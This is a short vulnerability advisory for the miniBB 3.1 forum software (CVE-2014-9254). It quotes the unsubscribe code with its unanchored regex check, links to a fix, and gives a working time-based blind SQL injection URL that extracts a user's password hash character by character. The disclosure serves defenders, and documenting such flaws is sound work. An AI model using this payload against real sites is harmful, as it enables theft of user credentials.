MiniBB 3.1 – Blind SQL Injection
# Exploit Title: miniBB 3.1 Blind SQL Injection # Date: 23-11-2014 # Software Link: http://www.minibb.com/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # CVE: CVE-2014-9254 # Category: webapps 1. Description preg_match() only check if $_GET['code'] contains at least one letter or digit (missing ^ and $ inside regexp). File: bb_func_unsub.php $usrid=(isset($_GET['usrid'])?$_GET['usrid']+0:0); $allowUnsub=FALSE; $chkCode=FALSE; if(isset($_GET['code']) and preg_match("#[a-zA-Z0-9]+#", $_GET['code'])){ //trying to unsubscribe directly from email $chkField='email_code'; $chkVal=$_GET['code']; $userCondition=TRUE; $chkCode=TRUE; } else{ //manual unsubsribe $chkField='user_id'; $chkVal=$user_id; $userCondition=($usrid==$user_id); } if ($topic!=0 and $usrid>0 and $userCondition and $ids=db_simpleSelect(0, $Ts, 'id, user_id', 'topic_id', '=', $topic, '', '', $chkField, '=', $chkVal)) http://security.szurek.pl/minibb-31-blind-sql-injection.html 2. Proof of Concept http://minibb-url/index.php?action=unsubscribe&usrid=1&topic=1&code=test' UNION SELECT 1, IF(substr(user_password,1,1) = CHAR(99), SLEEP(5), 0) FROM minibbtable_users WHERE user_id = 1 AND username != ' This SQL will check if first password character user ID=1 is c. If yes, it will sleep 5 seconds. 3. Solution: http://www.minibb.com/forums/news-9/blind-sql-injection-fix-6430.html |